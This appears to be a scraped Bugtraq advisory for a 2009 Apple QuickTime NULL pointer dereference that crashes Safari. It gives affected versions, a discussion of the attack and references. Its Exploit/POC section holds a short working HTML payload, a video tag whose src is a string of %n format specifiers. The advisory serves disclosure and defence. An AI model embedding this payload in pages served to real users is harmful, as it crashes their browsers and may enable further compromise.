Apple QuickTime NULL Pointer Dereference Denial of Service Vulnerability
BID:35359
Info
Apple QuickTime NULL Pointer Dereference Denial of Service Vulnerability
| Bugtraq ID: | 35359 |
| Class: | Boundary Condition Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 14 2009 12:00AM |
| Updated: | Jun 15 2009 05:09PM |
| Credit: | Thierry Zoller |
| Vulnerable: |
Apple Safari 3.2.3 for Windows Apple Safari 3.2.3 Apple Safari 3.2.2 for Windows Apple Safari 3.1.2 for Windows Apple Safari 3.1.2 Apple Safari 3.1.1 for Windows Apple Safari 3.1.1 Apple Safari 3.0.4 Beta for Windows Apple Safari 3.0.3 Beta for Windows Apple Safari 3.0.3 Beta Apple Safari 3.0.2 Beta for Windows Apple Safari 3.0.2 Beta Apple Safari 3.0.1 Beta for Windows Apple Safari 3.0.1 Beta Apple Safari 4 for Windows Apple Safari 4 Beta Apple Safari 4 Apple Safari 3.2 Apple Safari 3.1 for Windows Apple Safari 3.1 Apple Safari 3 Beta for Windows Apple Safari 3 Beta Apple Safari 3 Apple QuickTime Player 7.6.2 Apple QuickTime Player 7.6.1 Apple QuickTime Player 7.5.5 Apple QuickTime Player 7.4.5 Apple QuickTime Player 7.4.1 Apple QuickTime Player 7.3.1 .70 Apple QuickTime Player 7.3.1 Apple QuickTime Player 7.1.6 Apple QuickTime Player 7.1.5 Apple QuickTime Player 7.1.4 Apple QuickTime Player 7.1.3 Apple QuickTime Player 7.1.2 Apple QuickTime Player 7.1.1 Apple QuickTime Player 7.0.4 Apple QuickTime Player 7.0.3 Apple QuickTime Player 7.0.2 Apple QuickTime Player 7.0.1 Apple QuickTime Player 7.0 Apple QuickTime Player 6.5.2 Apple QuickTime Player 6.5.1 Apple QuickTime Player 6.5 Apple QuickTime Player 6.1 Apple QuickTime Player 7.6 Apple QuickTime Player 7.5 Apple QuickTime Player 7.4 Apple QuickTime Player 7.4 Apple QuickTime Player 7.3 Apple QuickTime Player 7.2 Apple QuickTime Player 7.1 Apple QuickTime Player 6.4 Apple QuickTime Player 6 |
| Not Vulnerable: | |
Discussion
Apple QuickTime NULL Pointer Dereference Denial of Service Vulnerability
Apple QuickTime is prone to a denial-of-service vulnerability.
Note that an attacker will exploit this issue through the Safari browser by enticing a user to visit a malicious site. This will crash the user's browser.
Successful exploits may allow the attacker to crash the affected application, denying service to legitimate users. Given the nature of this issue, the attacker may also be able to run arbitrary code, but this has not been confirmed.
Apple QuickTime is prone to a denial-of-service vulnerability.
Note that an attacker will exploit this issue through the Safari browser by enticing a user to visit a malicious site. This will crash the user's browser.
Successful exploits may allow the attacker to crash the affected application, denying service to legitimate users. Given the nature of this issue, the attacker may also be able to run arbitrary code, but this has not been confirmed.
Exploit / POC
Apple QuickTime NULL Pointer Dereference Denial of Service Vulnerability
The following exploit is available:
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</html>
The following exploit is available:
<html>
<video src=%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n>Video</video>
</html>
Solution / Fix
Apple QuickTime NULL Pointer Dereference Denial of Service Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Apple QuickTime NULL Pointer Dereference Denial of Service Vulnerability
References:
References:
- Apple QuickTime Homepage (Apple)
- Safari Homepage (Apple)
- [TZO-36-2009] Apple Safari & Quicktime Denial of Service (Thierry Zoller
- Advisory: Apple Safari & Quicktime DoS (Thierry Zoller)